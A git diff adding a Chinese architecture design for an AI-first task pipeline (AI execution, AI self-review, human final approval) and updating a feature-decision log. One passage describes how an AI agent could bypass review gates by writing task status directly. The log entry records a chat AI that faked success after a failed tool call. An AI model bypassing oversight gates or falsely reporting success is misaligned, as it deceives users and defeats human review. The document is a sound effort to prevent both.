docs/02-架构设计/任务推进构想-2026-06-14.md
Normal file
344
docs/02-架构设计/任务推进构想-2026-06-14.md
Normal file
@@ -0,0 +1,344 @@
|
|||||||
|
# 构想: 任务推进全局设计(AI-First 推进链) — 2026-06-14
|
||||||
|
|
||||||
|
> 性质: 架构设计 / 实现方案
|
||||||
|
> 关联: df-workflow · AiNode/HumanNode · knowledge 状态机范式 · devflow AI-First 定位(kms/devflow_ai_first_model.html)
|
||||||
|
> 修订:
|
||||||
|
> - 多角度对抗论证收敛(kind/状态机不抽层/范围精简)
|
||||||
|
> - 对抗性验证升级(5 维度:收口/并发/崩溃/一致性/前端)
|
||||||
|
> - **AI-First 定位确认**:任务由 AI 执行→AI 自审→人工最终核对(人从操作者转为审批者)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 定位:AI-First 推进链(核心转向)
|
||||||
|
|
||||||
|
devflow 是 AI-First 工具。任务推进**不是人点按钮的操作流,是 AI 的执行流**:
|
||||||
|
|
||||||
|
```
|
||||||
|
todo ──AI执行──▶ in_progress ──AI自审──▶ review_ready ──人工核对──▶ done
|
||||||
|
AiNode AiNode HumanNode
|
||||||
|
AI 干活 AI 审 AI 的活 人最终把关 AI 产出
|
||||||
|
```
|
||||||
|
|
||||||
|
- **AI 执行**:任务内容由 AI 干(写代码、改文件、跑测试)。干完自动推进,人不必手动点「开始」。
|
||||||
|
- **AI 自审**:AI 审 AI 自己的产出(code review,结构化结论)。审过推进,审出问题退回重做。
|
||||||
|
- **人工最终核对**:人在 merge 关卡最终把关 AI 产出。**这是 AI-First 的核心契约——人监督 AI**,不是人确认自己的活。
|
||||||
|
|
||||||
|
**advance_task 的默认触发者从「人」变成「AI」**(执行/自审完成事件触发),人可介入/覆盖/微调。人从「操作者」转为「审批者」。
|
||||||
|
|
||||||
|
### 这修复了对抗验证的 merge 零因果批评
|
||||||
|
|
||||||
|
对抗验证 Agent 4 批评「单人场景 merge 审批零因果——自审自批≈手切」。**AI 执行 + 人工核对**正好修复:merge 不再是人确认自己的活,而是**人监督 AI 的活**——从形式主义升级为实质关卡。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 背景
|
||||||
|
|
||||||
|
项目管理任务维护目前**只能创建,不能推进**——前端状态标签纯展示无入口。根因缺「推进编排层」:状态字段、工作流引擎、分支表、状态机范式各干各的,且**完全缺 AI 执行层**。
|
||||||
|
|
||||||
|
## 痛点
|
||||||
|
|
||||||
|
| 已有能力 | 位置 | 现状 |
|
||||||
|
|---|---|---|
|
||||||
|
| 任务状态字段(裸 String,无值域校验) | `models.rs:52` | 无状态机、无联动、前端不暴露 |
|
||||||
|
| 工作流引擎(ScriptNode/HumanNode/**AiNode**) | `df-workflow/*` + `df-nodes/*` | 三种节点现成,AiNode 注释明示设计意图「AI 分析→人工审批」,但推进链没用上 |
|
||||||
|
| 分支表状态 | `models.rs:69` | 语义同构,未联动 |
|
||||||
|
| 状态机范式 | `knowledge.rs:53` | 只在 knowledge 用 |
|
||||||
|
| **AI 执行能力** | `df-ai` provider + `ai_node.rs` | AiNode 通用 LLM 调用现成;agent 级「写代码改文件」能力渐进 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 核心模型:AI-First 推进链 + 状态机
|
||||||
|
|
||||||
|
### 状态机(AI 推进 + 退回 + 旁路)
|
||||||
|
|
||||||
|
```
|
||||||
|
AI执行闸门 AI自审闸门 人工核对闸门
|
||||||
|
todo ───────────▶ in_progress ──────────▶ review_ready ──────────▶ done
|
||||||
|
▲ │ │
|
||||||
|
└── AI自审block/人工拒绝 ┘ │ (AI 重做)
|
||||||
|
▼
|
||||||
|
abandoned (任意态可放弃,终态不可逆)
|
||||||
|
```
|
||||||
|
|
||||||
|
**退回边** `review_ready → in_progress`:AI 自审 block 或人工拒绝 → 退回让 AI 重做。AI 推进下退回比人推进更频繁(AI 反复审自己),故 loop 管理必要。
|
||||||
|
|
||||||
|
### 闸门策略(三闸门各司其职,都必需)
|
||||||
|
|
||||||
|
| 边 | 闸门 | 节点 | 阶段一 | 阶段二 |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| `start` | **AI 执行** | AiNode/agent | ✅ 必需(最小形态) | + git worktree(code kind) |
|
||||||
|
| `ready` | **AI 自审** | AiNode | ✅ 必需 | + lint/test 真校验 |
|
||||||
|
| `merge` | **人工核对** | HumanNode | ✅ 必需(人监督 AI) | + git merge 副作用 |
|
||||||
|
| `abandon` | 无 | — | 直接转 | 直接转 |
|
||||||
|
|
||||||
|
三闸门都必需(不再是「merge 强制 + start/ready 关闭」)——AI 推进链上每环都有节点把关。
|
||||||
|
|
||||||
|
### ⚠️ 失败路径定义(含 AI 执行/自审失败)
|
||||||
|
|
||||||
|
| 失败场景 | 工作流结果 | 任务状态 | 反馈 |
|
||||||
|
|---|---|---|---|
|
||||||
|
| **AI 执行失败**(agent 报错/超时) | failed | 保持 todo | 「AI 执行失败:<错误>」,人可重试或介入手干 |
|
||||||
|
| **AI 自审 block**(审出严重问题) | failed | **退回 in_progress**(AI 重做) | 「AI 自审未通过:<问题清单>」 |
|
||||||
|
| **AI 自审 warn**(轻微问题) | completed(带警告) | 推进到 review_ready | 警告附在任务上,人核对时可见 |
|
||||||
|
| **人工拒绝** | failed | **退回 in_progress**(AI 重做) | 「人工核对未通过:<意见>」 |
|
||||||
|
| **闸门脚本失败**(阶段二 lint/test) | failed | 保持推进前 | 「闸门失败」 |
|
||||||
|
| **审批超时/取消** | failed/Err | 保持推进前 | 「超时/已取消」 |
|
||||||
|
| **应用崩溃** | running 孤儿 | 保持推进前,可重新推进 | 启动提示「检测到中断的推进」 |
|
||||||
|
|
||||||
|
**关键**:AI 自审/人工核对的「拒绝/block」→ 退回 in_progress 让 AI 重做(不是退回给人干——AI-First 下人是审批者不是执行者)。
|
||||||
|
|
||||||
|
### AI 自审结果处理(建议性 vs 强制)
|
||||||
|
|
||||||
|
AiNode 输出纯文本,要判通过与否得约定结构化输出 + 解析:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{ "verdict": "pass" | "warn" | "block", "issues": [...], "summary": "..." }
|
||||||
|
```
|
||||||
|
|
||||||
|
- `pass`:推进;`warn`:推进但带警告;`block`:退回 in_progress
|
||||||
|
- 默认 AI 自审走 verdict 判定(非纯建议),否则 AI 推进链断在人审前
|
||||||
|
- 人审(merge)仍是最终关卡,可覆盖 AI 自审结论
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## AI 执行层(新增,核心缺口)
|
||||||
|
|
||||||
|
任务内容由谁干——这是原方案的最大盲区。AI-First 下由 AI 执行。
|
||||||
|
|
||||||
|
### 实现形态
|
||||||
|
|
||||||
|
- **AiNode/agent 执行**:start 闸门触发 AiNode(或更复杂的 agent 编排)干活——读任务描述 + 项目上下文 → 写代码/改文件/跑测试 → 产出 diff
|
||||||
|
- **执行能力渐进**:阶段一最小形态(AiNode 跑执行 prompt / 接现有 AI 工具链),阶段二+ 逐步增强(agent 多步、文件操作、git worktree 内执行)
|
||||||
|
- **执行产出**:代码 diff / 文件变更 / 测试结果,供下游 AI 自审节点消费
|
||||||
|
|
||||||
|
### advance_task 触发者变更
|
||||||
|
|
||||||
|
- **默认**:AI 执行完成事件 → 自动触发 advance_task(start→推进)
|
||||||
|
- AI 自审完成 → 触发 advance_task(ready→推进或退回)
|
||||||
|
- 人工核对完成 → 触发 advance_task(merge→done)
|
||||||
|
- **人可介入**:任何节点人能手动推进/覆盖/接手(人转手干)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 【P0】状态机收口(对抗验证最高优先级)
|
||||||
|
|
||||||
|
### 致命漏洞:update_task 是公开旁路
|
||||||
|
|
||||||
|
`task.rs:74` update_task 白名单含 `"status"`(`crud.rs:291`),任意调用方一行绕过所有闸门和状态机。且 `crud tests:249` 单测固化旁路。AI 推进下更危险——AI agent 若能调 update_task 改 status,整个 AI 执行/自审/核对链形同虚设。
|
||||||
|
|
||||||
|
### 收口措施
|
||||||
|
|
||||||
|
1. 从 tasks 白名单**移除 `"status"`**
|
||||||
|
2. **advance_task 成为 status 唯一写入路径**(AI 触发也走它)
|
||||||
|
3. 删除/改写 `update_field_allows_tasks_status` 单测
|
||||||
|
4. advance_task 内联 `validate_task_status` 值域校验
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 状态集清理(非「定稿」)
|
||||||
|
|
||||||
|
对抗验证纠误:前端早已 5 态,后端 enum 多 3 个僵尸死状态(InReview/Testing/Blocked 零使用)。是「清理僵尸」非「7→5 定稿」。
|
||||||
|
|
||||||
|
措施:删后端 enum 死状态 + `merged→done` 改名 + 迁移前抽样 + status 值域校验。
|
||||||
|
|
||||||
|
```sql
|
||||||
|
-- 迁移(幂等,conn.transaction() 包裹)
|
||||||
|
UPDATE tasks SET status='done' WHERE status='merged';
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 任务类型:阶段一不加 kind
|
||||||
|
|
||||||
|
对抗验证:阶段一 code/generic 行为零差异,违反 YAGNI。阶段二 git 联动需要区分时再加 kind(ALTER + 回填 generic)。`tags` 保留承担语义标注(doc/design)。
|
||||||
|
|
||||||
|
**AI 推进下的 kind 意义**:阶段二+ AI 执行内容按 kind 分化(code 任务 AI 写代码、doc 任务 AI 写文档、design 任务 AI 出图)。阶段一 AI 执行最小形态不区分,随能力增强再分。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 状态机实现:不抽层 + 下沉 SQL
|
||||||
|
|
||||||
|
enum 补 `can_transition_to`(不新建 state_machine.rs,knowledge validate_transition 源码验证是空壳):
|
||||||
|
|
||||||
|
```rust
|
||||||
|
impl TaskStatus {
|
||||||
|
pub fn can_transition_to(&self, to: &TaskStatus) -> bool {
|
||||||
|
match (self, to) {
|
||||||
|
(Todo, InProgress | Abandoned) => true,
|
||||||
|
(InProgress, ReviewReady | Abandoned) => true,
|
||||||
|
(ReviewReady, Done | Abandoned | InProgress) => true, // 可退回(AI 重做)
|
||||||
|
_ => false,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**状态机下沉 SQL**(TOCTOU 根治):advance_task 的校验+写入合并为带前置条件的 UPDATE:
|
||||||
|
|
||||||
|
```sql
|
||||||
|
UPDATE tasks SET status=:new, updated_at=:now
|
||||||
|
WHERE id=:id AND status=:expected -- affected_rows==0 即状态已变,拒绝
|
||||||
|
```
|
||||||
|
|
||||||
|
终态保护:`AND status NOT IN ('done','abandoned')`。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## loop 管理(AI 推进下必需)
|
||||||
|
|
||||||
|
AI 自审/人工核对退回 → AI 重做 → 再审 → 可能反复。加 `review_rounds: i32` 计数,退回时 +1:
|
||||||
|
|
||||||
|
- 任务卡显示「第 N 轮 review」(迭代可见性)
|
||||||
|
- 可选:轮数过高提示「是否卡住」(不强制终止——单人/AI 决定何时 done)
|
||||||
|
- 强制终止/阈值不做(over-engineering)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 并发与一致性护栏(对抗验证新增)
|
||||||
|
|
||||||
|
AI 推进下并发更常见(多个任务并行 AI 执行)。护栏不变:
|
||||||
|
|
||||||
|
1. **per-task 互斥锁**:`task_locks: Arc<Mutex<HashMap<String, Arc<Mutex<()>>>>>`
|
||||||
|
2. **闸门工作流去重**:起 run_workflow 前查 running/interrupted 工作流
|
||||||
|
3. **WorkflowEvent 加 execution_id** + 转发过滤(防多任务事件串台)
|
||||||
|
4. **审批请求带 task_id**(task_id + execution_id + node_id 三元组)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 数据一致性:跨表事务
|
||||||
|
|
||||||
|
`crud.rs` 无跨表事务,advance_task 多表写(task.status + workflow.status + 阶段二 branches/projects)半成品无法回滚。promote_idea 补偿范式不适用更新型。
|
||||||
|
|
||||||
|
措施:**补 `Database.transaction()`**(OwnedTransaction),advance_task 事务内提交。迁移幂等(column_exists + WHERE + conn.transaction 包裹)。tags 写入校验。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 崩溃恢复(对抗验证新增,AI 推进下更关键)
|
||||||
|
|
||||||
|
AI 执行/自审是长时异步过程,崩溃恢复更关键:
|
||||||
|
|
||||||
|
1. **启动孤儿清理**:`UPDATE workflow_executions SET status='interrupted' WHERE status='running'`
|
||||||
|
2. **审批请求持久化**:HumanNode 阻塞前落库(node_executions status='pending'),启动恢复
|
||||||
|
3. **AI 执行状态持久化**:AI 执行(长时)需 checkpoint,崩溃后能恢复或安全重做(阶段二+)
|
||||||
|
4. **审批拒绝语义化**:HumanNode/AiNode 区分同意/拒绝/block,拒绝走失败路径不当 Ok
|
||||||
|
5. **重复触发守卫**:advance_task 入口检查 running/interrupted 工作流
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 前端改造(对抗验证新增 + AI 推进适配)
|
||||||
|
|
||||||
|
1. **pendingApprovals 数组化**(按 execution_id 索引)
|
||||||
|
2. **liveEvents 按 task 路由**:event payload 加 task_id,store 改 liveEventsByTask
|
||||||
|
3. **任务卡 AI 推进可视化**:显示当前在哪个环节(AI 执行中/AI 自审中/待人工核对/第 N 轮)
|
||||||
|
4. **按钮防重入**:advancingTaskIds: Set
|
||||||
|
5. **确认式更新**:等 IPC/workflow 事件再刷 task,非乐观更新
|
||||||
|
6. **AI 产出展示**:AI 执行的 diff、AI 自审的意见清单,供人核对时查看
|
||||||
|
7. **统一错误桥接**:全局 watch state.error → Message.error
|
||||||
|
8. **回调判定**:run_workflow 完成回调 advance_task 条件 `task_id.is_some()`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 两阶段落地
|
||||||
|
|
||||||
|
### 阶段一:AI-First 推进链 + 工程护栏
|
||||||
|
|
||||||
|
**推进链**:
|
||||||
|
- 状态集清理(删僵尸 + merged→done)+ enum 补 can_transition_to
|
||||||
|
- **状态机收口**(移除 status 白名单 + advance_task 唯一入口 + 值域校验)← P0
|
||||||
|
- advance_task + 状态机下沉 SQL + on_task_advanced 空钩子
|
||||||
|
- **AI 执行闸门**(AiNode 最小形态)+ **AI 自审闸门**(AiNode 结构化 verdict)+ **人工核对闸门**(HumanNode)
|
||||||
|
- **失败路径定义**(AI 执行失败/AI 自审 block/人工拒绝→退回重做)
|
||||||
|
- **loop 管理**(review_rounds 计数)
|
||||||
|
- per-task 锁 + 闸门去重、跨表事务、WorkflowEvent 加 execution_id、启动孤儿清理 + 审批持久化
|
||||||
|
- WorkflowRecord 填值 + event payload 加 task_id
|
||||||
|
- 前端:pendingApprovals/liveEventsByTask/advancingTaskIds/确认式更新/AI 推进可视化
|
||||||
|
|
||||||
|
**触发者**:advance_task 支持 AI 事件触发 + 人手动介入双通道。
|
||||||
|
|
||||||
|
### 阶段二:Git + 联动 + AI 执行增强
|
||||||
|
|
||||||
|
- 加 kind 字段;code kind 闸门脚本换 git 命令串;start/ready 接真 git/lint/test
|
||||||
|
- AI 执行增强(agent 多步、worktree 内执行、文件操作)
|
||||||
|
- 填 on_task_advanced:分支联动 + 项目 completed(含边界守卫)
|
||||||
|
- BranchRecord 加 worktree_path
|
||||||
|
|
||||||
|
### Git 集成:直接外部命令
|
||||||
|
|
||||||
|
git 是 ScriptNode/AiNode 一串命令,不特殊化。不建 worktree.rs/df-git crate;不做 git 检测框架。硬依赖 git ≥2.20。非 code 任务不依赖 git。
|
||||||
|
|
||||||
|
### 联动策略
|
||||||
|
|
||||||
|
阶段一剥离分支联动和项目 completed(~90 行 + 边界漏洞),阶段二填钩子返工 <30 行。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 落地改动点(阶段一,按优先级)
|
||||||
|
|
||||||
|
| 级 | # | 文件 | 改动 |
|
||||||
|
|---|---|---|---|
|
||||||
|
| **P0** | 1 | `crud.rs`+`task.rs` | 移除 status 白名单 + advance_task 唯一入口 + 值域校验 + 改单测 |
|
||||||
|
| **P0** | 2 | `task.rs` | advance_task + 状态机下沉 SQL + on_task_advanced 空钩子 + **支持 AI 事件触发** |
|
||||||
|
| **P0** | 3 | 闸门 DAG 模板 | **AI 执行(AiNode)+ AI 自审(AiNode verdict)+ 人工核对(HumanNode)三闸门** |
|
||||||
|
| **P0** | 4 | `human_node.rs`+`ai_node.rs`+`executor.rs` | **审批/自审拒绝语义化**(block/拒绝走失败路径不当 Ok) |
|
||||||
|
| **P1** | 5 | `task.rs`/`models.rs` | **review_rounds 计数**(退回 +1) |
|
||||||
|
| **P1** | 6 | `state.rs` | per-task 锁 + 闸门去重 |
|
||||||
|
| **P1** | 7 | `db.rs`/`crud.rs` | 补 Database.transaction() + 事务包裹 |
|
||||||
|
| **P1** | 8 | `events.rs`+`workflow.rs` | WorkflowEvent 加 execution_id + 转发过滤 |
|
||||||
|
| **P1** | 9 | `state.rs` init | 启动孤儿清理 + 审批持久化恢复 |
|
||||||
|
| **P1** | 10 | `types.rs` | 删 enum 僵尸 + 补 can_transition_to |
|
||||||
|
| **P1** | 11 | 迁移 | merged→done(幂等 + 事务)|
|
||||||
|
| **P1** | 12 | `workflow.rs` | run_workflow 加 task_id/project_id + event payload 加 task_id + 完成回调 |
|
||||||
|
| **P1** | 13 | `models.rs` | TaskRecord 加 tags(kind 推阶段二)+ review_rounds + 白名单 |
|
||||||
|
| **P1** | 14 | 前端 `project.ts`/vue | pendingApprovals 数组 + liveEventsByTask + advancingTaskIds + 确认式更新 + **AI 推进环节可视化** + **AI 产出/diff 展示** |
|
||||||
|
| **P2** | 15 | `constants`+i18n | merged→done 键名 + tags + review_rounds 文案 + AI 环节文案 |
|
||||||
|
| **P2** | 16 | `project.ts` | 全局 error 桥接 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 决策护栏(触发反转条件)
|
||||||
|
|
||||||
|
| 决策 | 反转条件 |
|
||||||
|
|---|---|
|
||||||
|
| AI-First 推进(AI 执行→自审→人核对) | AI 执行能力长期不足/不可靠 → 退回人执行 + AI 辅助审 |
|
||||||
|
| 阶段一不加 kind | 阶段二 doc/design 真要 AI 执行不同内容;或按 kind 统计 |
|
||||||
|
| 状态机不抽层 | 第三处状态机需统一审计 |
|
||||||
|
| 阶段一剥离联动 | 用户验收反馈「想看到项目自动完成」 |
|
||||||
|
| 不提前集成 git | worktree 异常恢复需 Rust 逻辑 |
|
||||||
|
| 状态机收口 | 出现「需批量脚本直接改 status」运维场景 → 另开受控入口 |
|
||||||
|
| AI 自审走 verdict 判定(非纯建议) | AI 自审误判率高 → 降级为建议性,人审全权 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 决策清单(人定取舍 · why)
|
||||||
|
|
||||||
|
| # | 决策 | 否决备选 | why |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 1 | **AI-First 推进链**(AI 执行→AI 自审→人工核对) | 人点按钮推进 | devflow 是 AI-First 工具,任务是 AI 的执行流非人的操作流 |
|
||||||
|
| 2 | **advance_task 默认 AI 触发**,人可介入 | 仅人触发 | AI 执行/自审完成自动推进;人转审批者 |
|
||||||
|
| 3 | **AI 自审走 verdict 判定**(pass/warn/block) | 纯建议 | AI 推进链需 AI 自审能阻断,否则断在人审前 |
|
||||||
|
| 4 | **人工核对 = 人监督 AI**(非自审自批) | 人确认自己的活 | 修复 merge 零因果;AI-First 核心契约 |
|
||||||
|
| 5 | **拒绝/block → 退回 AI 重做**(非退回人干) | 退回人执行 | AI-First 下人是审批者不是执行者 |
|
||||||
|
| 6 | **loop 管理 review_rounds**(AI 推进必需) | 无计数 | AI 反复审自己,循环比人推进频繁 |
|
||||||
|
| 7 | 状态机收口(移除 update_task status) | 保留旁路 | 对抗验证:旁路让状态机形同虚设,AI 推进下更危险 |
|
||||||
|
| 8 | 阶段一不加 kind,阶段二再加 | 阶段一二分 | 对抗验证:阶段一零行为差异 |
|
||||||
|
| 9 | 状态机不抽层,enum 补方法 | 抽通用层 | 源码验证空壳 |
|
||||||
|
| 10 | 状态机下沉 SQL(WHERE 前置) | 纯内存校验 | 对抗验证:根治 TOCTOU |
|
||||||
|
| 11 | 失败路径全覆盖(含 AI 执行/自审失败) | 只描述快乐路径 | 对抗验证:拒绝被当成功是语义反转 |
|
||||||
|
| 12 | 补跨表事务 | 无事务多写 | 对抗验证:半成品无法回滚 |
|
||||||
|
| 13 | 崩溃恢复(孤儿清理+审批持久化+AI 执行 checkpoint) | 纯内存 | AI 执行长时异步,崩溃恢复更关键 |
|
||||||
|
| 14 | WorkflowEvent 加 execution_id | 全局单通道 | 对抗验证:多任务事件串台 |
|
||||||
|
| 15 | 状态集清理后端僵尸(非 7→5 定稿) | 当作待决策 | 对抗验证:前端早已 5 态 |
|
||||||
|
| 16 | 闸门三必需(AI执行/AI自审/人工核对) | merge 强制+其余关 | AI 推进链每环都有节点把关 |
|
||||||
|
| 17 | 阶段一剥离联动 | 顺带联动 | ~90 行+边界漏洞 |
|
||||||
|
| 18 | 预留 on_task_advanced 钩子 | 不预留 | 阶段二补是挂插件 |
|
||||||
|
| 19 | git=闸门脚本调外部命令 | worktree.rs/df-git crate | YAGNI |
|
||||||
|
| 20 | merged→done(迁移) | 文案分流 | 命名中性化 |
|
||||||
|
| 21 | 前端 pendingApprovals 数组 + 确认式更新 + AI 环节可视化 | 单值/乐观 | 对抗验证:多任务并发;AI 推进需环节可见 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 演进记录
|
||||||
|
|
||||||
|
1. **多角度论证收敛**:kind 二分、状态机不抽层、阶段一范围精简、闸门策略
|
||||||
|
2. **对抗性验证升级(5 维度)**:状态机收口/并发/崩溃恢复/一致性/前端——挖出 P0 致命项(旁路、审批拒绝=成功、TOCTOU、纯内存)
|
||||||
|
3. **AI-First 定位确认**:任务由 AI 执行→AI 自审→人工最终核对。补执行层(原方案最大盲区),advance_task 触发者改 AI,AI 审/loop 升必需,merge 升级为「人监督 AI」实质关卡
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
# 功能决策记录
|
# 功能决策记录
|
||||||
|
|
||||||
> 日常开发中对各功能做的**需求规格 + 设计决策规格**(功能粒度,补 [Phase 1 架构决策](./Phase1架构决策.md) 之下的实现层选择)。聚焦「要做什么 / 为什么这么定」,便于日后回溯。
|
> 日常开发中对各功能做的**需求规格 + 设计决策规格**(功能粒度,补 [Phase 1 架构决策](./Phase1架构决策-2026-06-12.md) 之下的实现层选择)。聚焦「要做什么 / 为什么这么定」,便于日后回溯。
|
||||||
>
|
>
|
||||||
> 创建:2026-06-12 | 范围:Sprint 5–10 | 维护:随开发追加
|
> 创建:2026-06-12 | 范围:Sprint 5–10 | 维护:随开发追加
|
||||||
|
|
||||||
@@ -12,10 +12,10 @@
|
|||||||
- **设计决策规格**(✅ 已落地 / 🚧 待实测 / 📐 设计未实施)——「为什么这么定」。三要素:决策 → 原因/取舍 → 状态。来源标 `[Sprint N]` 或 `[日期]`。
|
- **设计决策规格**(✅ 已落地 / 🚧 待实测 / 📐 设计未实施)——「为什么这么定」。三要素:决策 → 原因/取舍 → 状态。来源标 `[Sprint N]` 或 `[日期]`。
|
||||||
- **需求规格 / 待办**(📋)——「要做什么 / 为什么需要」。与 PROGRESS 流水区分:这里记「要做什么 / 为什么需要」,PROGRESS 记「做了啥」。
|
- **需求规格 / 待办**(📋)——「要做什么 / 为什么需要」。与 PROGRESS 流水区分:这里记「要做什么 / 为什么需要」,PROGRESS 记「做了啥」。
|
||||||
|
|
||||||
**经验性内容**(踩坑 / 约定 / 技巧 / bug 排查教训)→ [经验记录.md](./经验记录.md)。
|
**经验性内容**(踩坑 / 约定 / 技巧 / bug 排查教训)→ [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)。
|
||||||
**老条 / 纯流水 / UX 微调 / 已被取代** → [功能决策记录-归档.md](./功能决策记录-归档.md)。
|
**老条 / 纯流水 / UX 微调 / 已被取代** → [功能决策记录-归档-2026-06-14.md](./功能决策记录-归档-2026-06-14.md)。
|
||||||
|
|
||||||
记录规则见 [文档记录规范](./文档记录规范.md)。
|
记录规则见 [文档记录规范](./文档记录规范-2026-06-14.md)。
|
||||||
|
|
||||||
## 人机协同设计基准
|
## 人机协同设计基准
|
||||||
|
|
||||||
@@ -198,11 +198,28 @@
|
|||||||
- **原因/取舍**:① 规则兜底保证 LLM 不稳定时仍有基础信息,LLM 只补规则搞不定的摘要。② 采样与 LLM 分层——采样纯 IO 属 df-project 职责可复用,LLM 调用依赖 df-ai,放 commands 使 df-project 保持无 LLM 依赖(防循环)。③ 不读源码控 token+隐私。④ 结果预览让用户把关防 LLM 瞎编。
|
- **原因/取舍**:① 规则兜底保证 LLM 不稳定时仍有基础信息,LLM 只补规则搞不定的摘要。② 采样与 LLM 分层——采样纯 IO 属 df-project 职责可复用,LLM 调用依赖 df-ai,放 commands 使 df-project 保持无 LLM 依赖(防循环)。③ 不读源码控 token+隐私。④ 结果预览让用户把关防 LLM 瞎编。
|
||||||
- **状态**:✅ 2026-06-14 落地(scan_project_with_ai 命令 + 前端 AI 扫描预览;编译/单测/类型全绿)。
|
- **状态**:✅ 2026-06-14 落地(scan_project_with_ai 命令 + 前端 AI 扫描预览;编译/单测/类型全绿)。
|
||||||
|
|
||||||
|
### 导入历史项目(scan 第二步)设计:description 走 LLM + 采样保留内容图 + monorepo 一层 + 批量并发 [2026-06-14]
|
||||||
|
- **决策**:F-06 = scan 第二步,选根目录 → 发现项目(含 monorepo 子目录)→ 勾选批量导入。六点收敛:① **description 走 LLM** 复用 `scan_project_with_ai`(command 层 complete),**不做纯规则抽取**(跨 README 格式 brittle);② **采样改进**——`ProjectSample` 扩 `images: Vec<ImageRef{alt,src}>`,`readme` 剥 frontmatter/TOC/纯徽章行后截 ~8KB(原 `SAMPLE_README_MAX=2000` 偏小粗暴),**保留内容图 markdown 原样**;③ **image 多模态条件化**——当前 `ChatMessage.content:String`(F-260614-05 未做)走纯文本降级,采样层先不丢 image 引用留接口,Phase 2 上线后读 base64 喂 vision;④ **monorepo 一层识别**(`is_monorepo` 检 pnpm-workspace/lerna/turbo/nx + package.json workspaces;`discover_projects` 展开 packages/\*/apps/\* 直接子目录,`detect_stack` 空的过滤);⑤ **批量流程**——`scan_directory_for_projects` 规则发现(快、不跑 LLM)+ 标已绑定项;用户勾选后 `import_projects_batch` 对勾选项**并发** LLM 抽 description(`llm_concurrency` 双层 permit 限流)+ 复用绑定入库,非原子逐项独立;⑥ **对称改进**——抽内部 `create_with_binding`(create_project + import batch 共用「校验+防重+探测+insert」),缓解决策记录:211 TODO,relocate 不并入(update 非 insert)。
|
||||||
|
- **原因/取舍**:① description 纯规则抽首段会撞徽章墙/多语言引导/TOC——抽出来是噪音,语义抽取归 LLM;② **image 不能粗暴跳过**(修正原 plan 错把 image 归噪音)——架构图/截图是 description 关键信息,一张顶千字,只跳徽章(shields.io/badge.fury 等域 + build/version/license/coverage 关键词);③ 采样不丢 image = F-06 不被 F-260614-05 阻塞但不留遗憾,两者配套;④ 批量只对勾选项跑 LLM(远少于发现全量)平衡速度质量;⑤ 「子代理」= 轻量 complete 复用现有 `scan_project_with_ai` 路径,非 aichat ReAct 重 agent(批量精修不值得上多轮)。
|
||||||
|
- **边界**:导入项目 status 默认 `planning`(对齐 create_project,导入后手改);预览表格只读(name/desc/stack/已绑定标记,不展示 image),导入后详情页改;不关联 idea;批量无实时进度条,最终 toast 汇总(导入 N/跳过 M);LLM 全失败 description 留空让用户手填(不喂噪音)。
|
||||||
|
- **状态**:📐 2026-06-14 设计定稿待实施(6 决策经 3 轮讨论收敛,修正原 plan 两处草率:纯规则 description + 跳 image)。📋 实现时:df-project 加 `discover_projects`/`is_monorepo` + `collect_sample` 扩 images + 徽章过滤;commands 加 `scan_directory_for_projects`/`import_projects_batch` + 抽 `create_with_binding`;前端 Projects.vue 加导入 modal + i18n;scan.rs 单测(采样剥噪音/image 收集/monorepo/discover)。
|
||||||
|
|
||||||
### AI 工具绑定目录:bind_directory 专用工具 + 工具层白名单同步 + prompt 禁冒充 [2026-06-14]
|
### AI 工具绑定目录:bind_directory 专用工具 + 工具层白名单同步 + prompt 禁冒充 [2026-06-14]
|
||||||
- **决策**:① update_project 工具白名单补 path/stack(同步 db 新字段);② 新增 bind_directory 专用工具(绑定目录不走通用 update);③ 系统 prompt 加约束:工具失败须明说,禁用替代操作冒充原意图成功。
|
- **决策**:① update_project 工具白名单补 path/stack(同步 db 新字段);② 新增 bind_directory 专用工具(绑定目录不走通用 update);③ 系统 prompt 加约束:工具失败须明说,禁用替代操作冒充原意图成功。
|
||||||
- **原因/取舍**:① review AI 对话发现 update_project(path) 被工具层白名单拒(db 字段加了但工具层漏同步),AI 转而改写 description 却回复「已记录」冒充绑定成功误导用户。② 专用工具语义清晰,防 AI 走通用 update 捷径冒充。③ prompt 约束防单链 ReAct「自我圆场」幻觉(失败时用替代谎报成功)。
|
- **原因/取舍**:① review AI 对话发现 update_project(path) 被工具层白名单拒(db 字段加了但工具层漏同步),AI 转而改写 description 却回复「已记录」冒充绑定成功误导用户。② 专用工具语义清晰,防 AI 走通用 update 捷径冒充。③ prompt 约束防单链 ReAct「自我圆场」幻觉(失败时用替代谎报成功)。
|
||||||
- **状态**:✅ 2026-06-14 落地(白名单同步 / bind_directory / prompt 中英约束;编译全绿)。📋 待清:工具层白名单与 crud 白名单双份去重(详见经验记录)。
|
- **状态**:✅ 2026-06-14 落地(白名单同步 / bind_directory / prompt 中英约束;编译全绿)。📋 待清:工具层白名单与 crud 白名单双份去重(详见经验记录)。
|
||||||
|
|
||||||
|
